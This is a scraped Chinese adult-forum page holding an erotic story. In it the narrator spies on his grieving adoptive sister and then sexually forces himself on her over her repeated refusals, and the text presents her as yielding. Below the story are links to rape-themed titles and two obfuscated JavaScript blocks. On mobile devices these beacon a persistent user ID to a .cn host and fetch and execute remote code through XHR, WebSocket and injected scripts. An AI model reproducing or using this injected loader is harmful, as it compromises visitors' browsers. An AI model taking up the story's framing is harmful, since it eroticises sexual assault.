图片载入中

我与干姐的故事

特大字】 【大字】 【中字】 【小字

干妈的家里这么倒霉,先是干妈的女婿一年前不幸遇车祸身亡,而后上个月才满月后的小外孙又夭折,这段时间以来,干妈的女儿整日以泪洗面。我的家在外地,由于读书在龙阳市,所以就寄宿在干妈家。其实自从读小学以来,由于这里的教学质量很好,所以父母就一直把我送到这里读书,可以说,到现在读大学,基本上都是干妈一直在照顾我。 干爹在沿海做生意,也发了不少的财,就是很忙,一年就过节才回趟家,其余就是定期往家里寄钱。

干妈是国有企业职工,由于参加工作早,所以才43岁就退休在家。平常不是约朋友打牌,就是和一群姐妹去爬山玩。经常听见别人说: 哟,惠姐看你多享清福啊,女儿出落的这么漂亮,还有这么一个帅气的干儿子,老公又这么会赚钱,真是享福啊! 干妈每次听见别人这么说,嘴都快合不拢了。也许就是条件太好吧,所以才会发生这些事。

这段时间以来,干妈也很少出去玩了,就陪着小莹姐在家,脸上的笑容也少了很多,本来以前有说有笑的家里,现在变得很凄凉。我回到家里也常帮着做做家务、煮煮饭,别看我一个男人,做菜可最拿手,因为我老爸是个厨师嘛。看完功课,我也陪小莹姐聊天,还好我的嘴皮子厉害,再加上那么一点点幽默,总算能让干姐姐微笑一个。

小莹姐今年26岁,很像干妈,非常漂亮,尤其还拥有魔鬼般的身材,波大得像要掉下来了一样,我最喜欢从后面看小莹姐,女人的曲线简直被她表现得淋漓尽致。我最大的幻想就是能娶上一个像小莹姐这样的老婆。这两天,干姐的心情也好了一点,时不时还到我屋里上上网,听我说说笑,由于还有三个月的育婴假,所以也懒得去上班。干妈也开始有了点笑容,常暗地里夸我,说还是我的嘴甜会安慰人,其实只是幽默的力量而已。看见干妈又开始出去玩,小莹姐也振作起来,我也非常高兴,家里又有了活气。

六月底的天气热得不得了,开着空调身上也全是汗,真想一直泡在冷水里。虽然快学考了,可我当没事一样,因从来还没有我拿不下的课程。干姐姐也在看书,她准备明年参加成人高考,一方面拿个本科文凭,另一方面也可以分散一下注意力。我自然就成了业余家教了,有什么难题也就帮她解决一下。

这天,干妈约了朋友去打牌,估计晚饭又不回来吃了,我和小莹姐在家看电视,把空调开到了最大,还是热得不行,看看外面的太阳,更没有勇气出去走,我开玩笑的说: 姐,今晚上有现成的吃了。 什么东西? 人肉叉烧包!这种天气,我们在房间里迟早要被煮成叉烧包的,到时候刚好一人一个。 噗嗤 要吃你自己吃! 这可不行,我不能吃自己啊,可我要是吃了你,干妈回来我可交代不了,还是等干妈回来吃我们两个叉烧包吧! 小莹姐眼泪都快笑出来了,两手忙着去擦,就在这一瞬间,我从腋下看见了半个白白的乳房,兄弟一下就亢奋了起来,还好是坐着,否则穿着球裤站起来,可糗大了。

趁她笑得不行的时候,我偷偷地打量了一下干姐,白色的坎肩体恤,胸前的肉球顶得老高,隐约有两个小凸起,难怪腋下的袖口会绷这么开,小碎花的超短裙,由于没穿丝袜,雪白的大腿像外面的太阳一样耀眼。我心里突然冒出一个念头: 干姐她没戴乳罩,不知道穿了内裤没有? 妈的,心魔一开,真是一发不可收拾,兄弟胀得受不了。

突然,我看见干姐胸前的白体恤湿了两个小点,怎么,出汗会像这样?我忙收回视线,小莹姐刚好也站起来,说: 那晚上就吃叉烧包好了。 然后笑着回屋里去了。我一个人傻呆呆地在客厅里看电视,可心里还是起疑问,我决定好好观察一下。不一会儿,干姐就出来了,去冰箱拿饮料,我一看,怎么换了件衣服,变成黄色的体恤了?搞不懂。

这时,干姐也走了过来弯腰,给我倒了杯可乐,我一抬头,从衣领口里看见了两个乳白的肉球,还有点晃动,我赶紧低下头,心脏像被雷击了一下,扑通扑通直跳。妈的,以前我怎么没注意这么多风景?我心里直骂自己笨蛋。干姐说: 太热了,我要去冲个澡去! 说完就去了卫生间。

我的心还是在乱跳,真想跑去偷看一下,真是心魔一开,良心挡也挡不住,可我还是忍耐了一下。一会儿,卫生间传出了水声,我真不知道是去偷看干姐洗澡还是继续看这无聊的电视,想了一下,要是被发现就惨了,算了,忍下来。不过可以去看看她换下来的衣服,看到底是怎么回事。

我悄悄跑到干姐的卧室,发现白体恤还在椅子上,我颤抖地拿了起来,果然有两团水渍,我放在脸上,深深地吸了口气,除了一阵体香外,好像水渍处还有一股说不出来的味道,撩人心肺,到底是什么东西?我把衣服放回原位,又回到客厅。

接下来一段时间忙着考试,心里也静下来很多,不过,我发现好像晾衣架上好像很少挂胸罩,总是小汗衫和体恤。大考完了,正准备收拾东西回趟家,这时候,干妈突然接到和干爹一起做生意的一个朋友打电话来,说干爹摔了一下,肋骨骨折,家里的空气一下又紧张起来。

干妈直说: 怎么搞的嘛!又出事了,是不是年头不对? 我安慰干妈说: 肋骨骨折只要不严重,恢复很快的,我学校里的同学两个月就好了。 干妈突然说: 小杰,我要去照顾你干爹,你暑假就别回去了,陪陪你小莹姐,我放心不下她。 看着干妈急切的眼神,我干脆地回答: 干妈你放心去吧,家里有我,而且我做菜的手艺,保证饿不着她的,我再陪她聊聊天,不会出事的。 小杰真行,你不知道,你干姐菜也不会做,收拾家里还不如你。她现在情绪也不稳定,一切全靠你照顾了。 没问题。

第二天,干妈就买了飞机票走了,我打了个电话回家,大概讲了一下原因,老妈还直叫我一定要看好干姐,我头点得像鸡啄米一样。说起我这个干姐,也太宠惯了,以前都是干妈做饭做菜,后来是姐夫做饭做菜,姐夫去世后,还是干妈做,现在轮到我来做,有没有搞错?大老爷们儿侍侯一个女人!可说归说,事情还是要做,早上锻练后,回来带回早点,性爱小说小莹姐的乳汁叫她起来吃,然后把昨天的脏衣服扔到洗衣机里洗;再看书,或者给她讲讲题,下午就闷头大睡,或陪她聊天、看电视;太阳下去了,就陪她出去走;晚上,还是陪她聊天、看电视,或者上上网。 日子就这样过了一个星期,干妈也没打电话回来,我正在给她讲题,七月初的天气更热,小莹姐还是那样打扮,只是把长发挽了起来,穿着的体恤更薄,好像连汗衫也没穿了,两颗奶子明显地撑着衣服,让我的兄弟胀得难受。还好定力比较强,一直坚持着给她讲解,由于关系熟,时不时还开点玩笑,在她脑门上敲一下,说她笨。

房间里的温度越来越高,我的体恤都湿透了,可看她那么认真,我也不好意思停下来,趁她做题的时候,我坐在了旁边的沙发上看小说。她做得非常投入,我刚好从侧面看见她的姿势,真是太美了,脸的轮廓,高耸的乳房,雪白的胳膊还有大腿,我不禁看得出神。

突然,她的胸前又有水渍出现,小莹姐忙拉了一下衣服,我赶紧低头假装看书,她可能以为我看书看入神了,从桌旁拿了一块毛巾悄悄地在衣服里擦了擦,我从眼角的视线里,看见两个大波都挤到了一起,真想亲手抓两下。妈的,到底在搞什么飞机?以前的疑问,又浮现出来。看见她继续做题,我就跑去做饭去了。天气越来越热,和小莹姐也越来越亲密,基本上什么话都说,可我从不提姐夫,还有她的孩子。

我在家里现在干脆裸着上身,反正家里没关系,小莹姐也没介意,由于从小一直在一起,她都把我当弟弟看,也没多想。不过她基本上也没穿汗衫了,就一件体恤、一条短裙,让我每天都能看见突起的乳头,高耸的乳房。

由于天天在家,所以发现干姐每天都要换好几次衣服,而且都是自己洗,真搞不懂。一天,我打球回来,口渴得要命,刚好看见桌上有一杯牛奶,管它三七二十一的,一口就全喝了,咳咳 什么味?怎么和平时喝得不一样?约甜,还有一股说不出来的味道,这味道好像在什么地方闻过?对了,那天干姐的衣服上就是这味。我靠!不是人奶吧?刚好干姐从卧室出来,糟糕,被她发现,脸往什么地方放啊!急中生智,我抢着说: 小莹姐,昨天的牛奶我倒掉了,不新鲜了。 干姐 唰 一下子脸就红了: 哦 哦 本来我准备拿去倒的,看书就忘掉了。

我抱着球就朝卧室走,边走还边说: 难怪干妈说你做事丢三落四的。 敢教训我?你小子欠扁! 说着小莹姐做了个打人的姿势,我故做逃跑的样子,跑进卧室,不过回头的时候,刚好看见小莹姐举起手后,肚子露出一大片肌肤,我又感觉到了外面的太阳。 我拿起干净的衣服,就去冲澡,小莹姐继续去看书。进了卫生间,我看见小莹姐换下的衣服还在盆子里,不知道怎么,我拿起衣服放到脸上深深地唿吸着,太香了!由于换得勤,连汗味都没有,衣服上还是有两团水渍,不,现在应该说是奶汁。原来干姐的小孩才喂了一个月的奶就夭折了,现在小莹姐的奶还比较足,所以有时候太足了,会自己渗出来,把衣服打湿掉。那么桌上那杯人奶,一定是干姐由于奶汁太多了,自己挤的,可忘了倒了。天啊!我喝了小莹姐的奶,还好刚才掩饰得好。想着想着,我的小弟弟高挺了起来,忍不住把小莹姐的衣服套在弟弟上打手枪,真过瘾!要是能看见小莹姐挤奶的样子一定更爽。

造型。 神经病!我洗澡了,你赶紧做饭。 一个坐垫飞到我的脸上,我看见了星星。 又要做饭,天啊,上帝你在什么地方啊?

听见卫生间的水声传了出来,我的心突然又狂跳起来,性爱小说小莹姐的乳汁压抑下去的念头又弹了出来,想着干姐的豪波,那迷人的臀部,兄弟又再次怒吼。妈的,管它的!干妈也没在家,就偷看一次。我踮手踮脚地走到卫生间口,趴在地上往里看。

夏天真好,冲冷水澡没有水雾,里面的一切都被我看得清清楚楚。这就是我向往的小莹姐的身子,白皙的皮肤,高挺的奶子,浑圆的屁股,小莹姐仔细地洗着,慢慢地搓揉着巨乳,脖子仰着冲着水,我似乎听到小莹姐嘴里还在轻哼着: 哦 嗯 干姐另一只手慢慢地滑到腹部下面,上下地搓着,声音也大了点,我真怀疑听错了,因为我已经热血沸腾,估计脑门的血压肯定很高。干姐的两条腿有点向内弯曲,像站不住一样,可惜我是从侧后方看的,看不到干姐的花丛什么样。怕被发现,我怀着巨跳的心,悄悄地走到厨房开始做菜,可脑海里全是刚才的情景。

晚上睡觉的时候,一直想着,真想把兄弟狠狠地插进小莹姐的阴道,听见她淫叫的声音。可第二天,又恢复了理智。这样一个月过去了,我还是时不时地偷看一下干姐沐浴的美景,也没有什么更进一步的动作。

有一天晚上,我们在一起聊天,我问干姐: 想你爸吗?也不知道他怎么样了,干妈也不打电话回来。 小莹姐一下子就来气了: 别提我爸,我长这么大,就小时侯对他的印象最深,现在一年难见一面,平时电话也不打,除了钱,他什么也不知道。你说,你看见过他没有? 说起来,我还真的一面都没见过,就只看过相片。 就是,你在我们家这么久也没见过,我能见着几回?说不定,他现在已经不要这个家了,在那面另有女人。 我靠,女人说话真够毒的,连自己老爸也不放过。 本来就是嘛,最辛苦的就是我妈,每年还这样熬着,现在出事了,才想起她!

我看干姐火气越来越大,生怕她又提起往事,伤身体,我的罪过可就大了。忙说: 好了,不提这个了,都是我的错,是嘴惹的祸。姑奶奶,你就消消气,别气坏了金枝玉体,小生可万万担当不起。 扑哧 干姐一下就笑了起来。 女人真是善变。 我嘟喃了一声。 你在说什么? 没有!我说干姐真是漂亮。 你的嘴越来越油了! 是吗?晚上我可全吃的素菜,烤鸡腿可全被你吃的啊。不可能油! 扑哧 真想踹你一脚。 你试试,我现在已经运起了十成的降龙十八掌,要不是看在打不过你的份上,早出手了! 哈哈 我们两人同时笑了起来,干姐笑得花枝乱颤,连两个乳房也一起抖个不停,真怕掉下来了。

突然房间里的电灯一下熄了,干姐 啊~ 地一声尖叫,就扑到我怀里,我一下子血压就升到极点,忙伸手把她抱着,这才知道 投怀送抱 是什么意思。两粒尖尖的奶头顶在我胸膛上,虽然我穿着一件体恤,性爱小说小莹姐的乳汁还是感觉到有奶汁沁了过来,两手抱着肩膀和腰部,感觉到温温的体温。 我忙说: 没事,停电了! 小莹姐发觉自己太失态了,也忙起来,自我掩饰地说: 吓我一跳,还好有你在,否则真被吓晕掉。 我也附和道: 还敢打击我史瓦辛格般的身材,报应来了吧。我去看看是不是跳闸了。 我也去。 我靠,不会怕成这样吧? 我拉着干姐的手,拿了电筒,出门看了看电闸,好的,看来是真的停电了。

我跑到窗口,跪在地上高唿。 嘻 耳后传来熟悉的笑声,我忙说: 上帝啊!你的宽恕我已收到,谢谢你,阿门! 神经病,快过来,我看不见。 是,上帝! 我打着电筒来到干姐面前,牵着她的手,然后一起坐到沙发上: 对不起,小莹姐,我不是故意的。 行了,上帝已经宽恕了你。 干姐刚说完,窗外一道闪电又划过去。 我靠!上帝也说话不算话。 哈哈哈 这下你可知道什么是报应了吧!我只是圣母,不是上帝,没办法。 你学得可真快,在下佩服,佩服! 看你还敢不敢吓我! 不敢了,姑奶奶吩咐,小的照办! 又耍嘴皮子!小莹姐,看来今天只有早睡了,估计不会来电了。 好吧。 我打着电筒,送她到卧室,然后把电筒给她: 小莹姐,有什么事叫我吧!我是猫眼,不用电筒的。 行,晚安。 砰 一声,我转身时,一头撞到墙上: 哎哟,圣母说话也不算话。 哈哈 逞强吧,还说不用电筒。 小莹姐走过来,帮我看了看额头,趁着电筒的光线,我看见干姐的奶子前面已经湿了一大片了,她以为很黑,我看不见,谁知阴差阳错,被我眼角瞄了一眼,本来白体恤就薄,里面又没穿,这下连深红的奶头都现了出来。干姐还没发觉,我可是大饱眼福。

没事,小意思,小莹姐你快去休息吧! 电筒还是你用吧。 你用,你用,你是圣母嘛。 嘻 哎呀,电筒也没电了。 不是吧? 我接过电筒,试了一下,没电。圣母,那就用你的光明照照我们吧! 疯子,还开玩笑。 这时,突然一个闪电划过,屋里亮了一下,紧接着一个巨雷打下来,窗子都被震得发响,房里更黑了,我都被吓了一跳,干姐 啊! 的一声,一下子抱着我。我的血压再次急剧攀升,真希望老天爷再来几个雷。

我想可能是太紧张的关系,小莹姐的前胸都快湿透了,我能明显地感到两个奶子压了过来,干姐还不自知。我说道: 我还是陪你再坐一会儿吧,等天气好点再睡。 好 好 干姐的声音都在发抖。我基本上是搂着她的腰,摸索着找到客厅的沙发,她柔软的腰肢像水一样,真不意松开手。外面刮起了大风,我又摸索着把窗子关上,把窗帘拉上,生怕闪电又再吓到干姐。没有电,空调不起作用,屋里比较闷热,我们就坐在沙发上瞎聊。

她有点怕,坐得离我很近,好像怕我像幽灵不在了一样。我受不了热,把体恤脱了下来,嚷着: 热死我了,圣母啊,我的报应可真惨啊! 哈哈 活该! 你不热吗? 热,我又不是真的圣母。 要是有空调就好了。 简直是屁话! 干姐毫不犹豫地打击我一句。 可能太热了,加上刚才血压还没降下来,我说: 看我挠你痒,还敢说我活该。 说着我就把手伸到她的腋下,挠她痒,她一下没躲开,被我挠得笑翻在沙发上: 好了,好了,我不说了,我不说了 我怎么会这样就停手?趁黑正是吃豆腐的时候,我故意装不小心碰着她的乳房,软绵绵的、湿湿的,爽呆了。小莹姐也忙着到处躲,没注意被我吃了豆腐。她看我不住手,也一下来了劲: 看我挠你! 说完,一下坐起来,就来挠我,我可没想到会被反击,还没反应过来,我就被挠个正着。

我这个人一不怕痛,二不怕死,就怕痒,这下,可被她挠得话都说不出来。而且,别看小莹姐是个女的,力气还蛮大的,一下就把我按在沙发上,她也没注意,趁乱一条腿压着我。肌肤相触,我像被触电了一样,真想就这样一直下去,兄弟也开始不老实,还好很黑,看不见我已经心猿意马了,想着干姐冒着乳汁的奶子,我横下心,一下撑了起来,一把把她抱住: 看你还挠不挠得着! 趁这机会把她的乳房狠狠地压在我赤裸的胸膛上,奶汁都挤了出来,由于我没穿衣服,都能感觉有温温的东西流出来。

小莹姐 嘤咛 了一身,还在逞强,我把她压倒在沙发上,两条腿压着她乱动的双腿,我想她也感觉到了我腹下硬梆梆的东西在她柔软的腿上蹭,唿吸一下急促了起来。我的唿吸更急促,不过嘴里还在说: 还敢不敢反抗? 由于乳房被我挤压着,我感觉到她的乳头硬了起来,唿吸也没有规律,喘着气说: 不敢了,不敢了,快放我起来!

我已经控制不了自己的神经了,嘴慢慢地移到她的胸前,隔着已被奶汁打湿的衣服吮吸着乳房,微甜略带有腥味的乳汁一下子就吸入嘴里,小莹姐 嗯 了一声,使劲地推着我,说着: 不,不要,不能这样。快起来,快放我起来。 喔 牛吧 不要这样,快起来。 她开始打我的后背。

我已经一心一意要得到小莹姐,根本就没听她说些什么,我嘴里说着: 小莹姐,奶汁白白流掉,太可惜了,你也要经常换衣服,很麻烦的,我来帮你解决吧! 不,不要,快放我起来,我要告给妈听。 不,小莹姐,我喜欢你,我不会放你起来的。 我紧夹着她的双腿,嘴不停地吸着乳汁,一只手把她的体恤拉了起来,尽管很黑,我还是看见了白白的两个肉球一下子弹了出来,两颗乳头上还渗着乳液。可能一晚上没挤奶吧,乳房涨鼓鼓的,我热血沸腾,嘴一口就含了下去,使劲地吮吸。

大口大口的奶汁涌入嘴里,我像个顽皮的婴儿,还不时用舌头舔一下发硬的奶头,每次舔一下,干姐就颤抖一次。我另一只手也不闲着,抚弄着她另一个乳房,用手轻轻挤一下,奶汁就飙了出来,我用手指搓捻着她的乳头,感觉越来越硬,小莹姐都快哭了。 快放我起来,你这个坏蛋。 小莹姐,舒服吗?我帮你吸掉点奶,会舒服点的。 我把嘴换到另一个乳房上,疯狂地吸着、舔着。 干姐的抵抗越来越弱,慢慢地也开始有了反应: 轻点,你轻点。 喔 她的双手不再猛力地推我,我也没有更进一步动作,她潜在的对性的需求,被我激活了起来。干姐两手放在我脑后,用力地把我的头压在她的奶子上,仿佛要我把她的奶汁吸干一样。她的奶水太多了,在性的刺激下,另一个乳房的奶汁越流越多,小莹姐也开始轻哼: 哦 喔 她的手在我背上不断的抚摩着,我的兄弟都快爆炸了。

我松开了两腿,感觉干姐的双腿开始交叉着,蹭着沙发,我大力地吮吸她的乳房,她也伸一只手上来挤给我吃,我把她的体恤从头上拉了出来,雪白的肉体就横呈在我面前,我简直亢奋地差点就射了出来,我知道好戏还在后面,我深吸一口气,忍了下来。两只硕大的乳房,被我使劲地挤压着,由于被我吃了些奶,所以奶汁不是很多了,可我还是不放过,边挤边吃,真是过瘾。我现在几乎骑在她的身上,干姐闭着眼睛,享受着对性的刺激,嘴里 嗯 呀 地叫着。

我趴在她身上,伏身在她耳边轻轻问: 舒服吗? 小莹姐点了点头。 还要吗? 干姐还是点了点头。

【完】

14882字节

[ 此帖被墨染空城在2015-07-05 09:10重新编辑 ]


上一篇:强奸女同学琦琦

下一篇:斗罗之淫荡小舞


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};